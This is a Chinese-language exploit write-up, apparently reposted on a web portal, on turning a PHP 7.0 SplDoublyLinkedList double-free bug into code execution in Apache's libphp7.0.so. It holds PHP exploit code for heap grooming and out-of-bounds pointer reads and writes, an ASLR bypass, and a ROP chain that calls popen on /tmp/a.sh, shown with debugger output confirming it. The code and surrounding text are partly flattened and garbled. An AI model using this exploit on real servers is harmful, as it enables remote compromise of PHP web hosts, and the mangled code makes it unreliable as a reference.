您好,欢迎访问一九零五行业门户网

How to Exploit libphp7.0.so in Apache2

0x00 简介 之前有外国牛人发部blog double free in standard php library double link list [cve-2016-3132]
其文章详述了漏洞成因
#!phpoffsetset(100,new datetime('2000-01-01')); //datetime will be double-freed
spldoublylinkedlist::offsetset ( mixed $index , mixed $newval ) 失败的话,对象就会被free两次。略过细节,这种漏洞想继续利用,必须要翻看php源码对于heap的管理套路了。
所需要知道的是,问题对象 splfixedarray 的尺寸让它存在于php自己维护的一个freelist里面。如果一块内存的引用计数消耗光,php简单地把freelist的next指针指向这块内存,这样就结束了。如果发生了double free,php里面的freelist会变成这样:
就是说当下两次内存申请的时候,两个对象就会 重叠
可以上 套路 了,重叠字符串类型,修改长度,越界读写。
#!cpptypedef struct _spl_fixedarray_object { /* {{{ */ struct _zend_string { spl_fixedarray *array; zend_refcounted_h gc; zend_function *fptr_offset_get; zend_ulong h; /* hash value */ zend_function *fptr_offset_set; size_t len; zend_function *fptr_offset_has; char val[1]; zend_function *fptr_offset_del; }; zend_function *fptr_count; int current; int flags; zend_class_entry *ce_get_iterator; zend_object std;} spl_fixedarray_object;/* }}} */
当然,精心的内存布局还是需要的,比如连续申请大量内存什么的,保证要操作的区域干净、连续
最后理想的情况就是这样啦,被改掉长度的字符串后面是整齐排列的 splfixedarray
能做的事情有:
越界读后面堆块指针,获取其真实地址,和与数组游标的对应关系 越界写后面对象的函数指针,指向前面获取的地址,即数组的地址 向数组填入内容,这样劫持了$rip
文章写到这里就结束了,poc给到0xdeadbeef
#!phpfunction exception_handler($exception) {global $z;$s=str_repeat('c',0x48);$t=new splfixedarray2(5);$t[0]='z';unset($z[22]);unset($z[21]);$heap_addr=read_ptr($s,0x58);print leak heap memory location: 0x . dechex($heap_addr) . \n; $heap_addr_of_fake_handler=$heap_addr-0x70-0x70+0x18+0x300;print heap address of fake handler 0x . dechex($heap_addr_of_fake_handler) . \n;//set handlerswrite_ptr($s,$heap_addr_of_fake_handler,0x40);//set fake handlerwrite_ptr($s,0x40,0x300); //handler.offsetwrite_ptr($s,0x4141414141414141,0x308); //handler.free_objwrite_ptr($s,0xdeadbeef,0x310); //handler.dtor.objstr_repeat('z',5);unset($t); //boom!}
0x01 实际测试 演示只是演示,没实际意义,在真实的生产环境中,这个洞有没有可能成功利用呢
在此,[email protected]
,真的非常好用!
apache/2.4.18 php 7.0.4 在apache里面php是和libc一样被当做.so来加载的,所以全套保护都上齐全了
canary : enabled fortify : enabled nx : enabled pie : enabled relro : full 不要慌,我们还有更深的套路
刚才那个长度超长的数组对象,除了可以越界读堆块的地址,还可以越界读对象的 函数指针列表地址
这个地址在同一个bin文件里的地址是相对固定的,地址随机化就这么过掉了。
#!php$push_rax=0x000000000033a9f3+$aslr_offset;// push rax; stc; jmp qword ptr [rax + 0x36];$pop_rsp=0x00000000000d3923+$aslr_offset;//pop rsp; pop r13; ret;$sub_rsp=0x0000000000106abe+$aslr_offset;// sub rsp, -0x80; pop rbx; ret;$pop_rsi=0x00000000000094e8+$aslr_offset;// pop rsi; ret;$pop_rdi=0x00000000000d3b2f+$aslr_offset;// pop rdi; ret;$pop_rbp=0x00000000000d3925+$aslr_offset;// pop rbp; ret;$p_popen=0x00000000000d2580+$aslr_offset;//popen//set handlerswrite_ptr($s,$heap_addr_of_fake_handler,0x40);//set fake handlerwrite_ptr($s,$aslr_offset,0x300);//heap_addr_of_fake_handler and [rax] is here!write_ptr($s,0x4141414141414141,0x300+0x48);write_ptr($s,0x0000000000000072,0x300+0x50);//rwrite_ptr($s,0x732e612f706d742f,0x300+0x58);///tmp/a.shwrite_ptr($s,0x0000000000000068,0x300+0x60);write_ptr($s,$push_rax,0x300+0x10);write_ptr($s,$pop_rsp,0x300+0x36);write_ptr($s,$sub_rsp,0x300+0x8);//now,rsp=rax+0x98write_ptr($s,$pop_rsp,0x300+0x98);write_ptr($s,$heap_addr_of_fake_handler-0x100,0x300+0xa0);//now,rsp=rax-0xf0write_ptr($s,$pop_rsi,0x300-0xf8);write_ptr($s,$heap_addr_of_fake_handler+0x50,0x300-0xf0);write_ptr($s,$pop_rdi,0x300-0xe8);write_ptr($s,$heap_addr_of_fake_handler+0x58,0x300-0xe0);write_ptr($s,$pop_rbp,0x300-0xd8);write_ptr($s,$heap_addr_of_fake_handler-0xb8,0x300-0xd0);//now rsp=rax-0xc0,rbp=rax-0xb8write_ptr($s,$p_popen,0x300-0xc8);
很乱的rop里该有的都有了,包括把栈帧指向刚才操作好的内存堆,方便行事。
#!bash[----------------------------------registers-----------------------------------]rax: 0x7fc6edc6ebd8 --> 0x7fc6f218a000 --> 0x10102464c457frbx: 0x0rcx: 0x16rdx: 0xc4f352ef5bf0be4arsi: 0x7fc6edc6ec28 --> 0x72 ('r')rdi: 0x7fc6edc6ec30 (/tmp/a.sh)rbp: 0x7fc6edc6eb20 --> 0x0rsp: 0x7fc6edc6eb18 --> 0x0rip: 0x7fc6f52fa540 (: push r12)r8 : 0x20 (' ')r9 : 0x0r10: 0x2r11: 0x38 ('8')r12: 0x7fc6f2798c1c --> 0x0r13: 0x7fc6f27ae8c0 --> 0x40 ('@')r14: 0x7fc6edc12030 --> 0x7fc6e7458f70 --> 0x7fc6f2451a00 (push r12)r15: 0x7fc6e7458f70 --> 0x7fc6f2451a00 (push r12)eflags: 0x203 (carry parity adjust zero sign trap interrupt direction overflow)[-------------------------------------code-------------------------------------] 0x7fc6f52fa530 : jmp 0x7fc6f52fa4da 0x7fc6f52fa532: nop dword ptr [rax+0x0] 0x7fc6f52fa536: nop word ptr cs:[rax+rax*1+0x0]=> 0x7fc6f52fa540 : push r12 0x7fc6f52fa542 : push rbp 0x7fc6f52fa543 : mov rbp,rdi 0x7fc6f52fa546 : push rbx 0x7fc6f52fa547 : mov edi,0x100[------------------------------------stack-------------------------------------]0000| 0x7fc6edc6eb18 --> 0x00008| 0x7fc6edc6eb20 --> 0x00016| 0x7fc6edc6eb28 --> 0x00024| 0x7fc6edc6eb30 --> 0xc01a0008000000010032| 0x7fc6edc6eb38 --> 0x1b0040| 0x7fc6edc6eb40 --> 0x56478a526ed0 --> 0x10048| 0x7fc6edc6eb48 --> 0x7fc6f27ae8c0 --> 0x40 ('@')0056| 0x7fc6edc6eb50 --> 0x0[------------------------------------------------------------------------------]legend: code, data, rodata, valuethread 2.1 apache2 hit breakpoint 1, _io_new_popen (command=0x7fc6edc6ec30 /tmp/a.sh, mode=0x7fc6edc6ec28 r) at iopopen.c:273
别忘了$rsp和$rbp都需要设置好,不然popen不会执行成功的。
最后,有两点要说明一下: 原文poc提供的 read_ptr 有问题,读地址的时候会中间丢掉0
感谢phithon与毕月乌大牛提供正确版本的函数
#!phpfunction read_ptr(&$mystring,$index=0,$little_endian=1){ $s = ; for($i = 1; $i <= 8; $i++) { $s .= str_pad(dechex(ord($mystring[$index+(8-$i)])), 2, '0', str_pad_left); } return hexdec($s);}
另外就是,采用popen这个函数来完成最后的shellcode动作,是因为这个函数在libphp.so的plt里面提供了地址。如果要用system的话,还要到libc里面去找,多算一个模块的地址,就多了一份麻烦和不稳定。
尽管本文成功绕过所有保护成功执行shellcode,但是实际意义依然有限,因为phplib.so的版本太多啦,很多情况下都是自家编译出来的,不同的so文件function table的相对位置会不一样,这样计算的基质会出错,当然构造的rop也全都错了。
php版本多,glibc版本少啊,用glibc做rop啊!用glibc找system函数啊!
除非上面那个被改了长度的数组可以越界读到一个glibc里面的地址,否则怎样都还是需要依靠libphp.so的。
以上です。
其它类似信息

推荐信息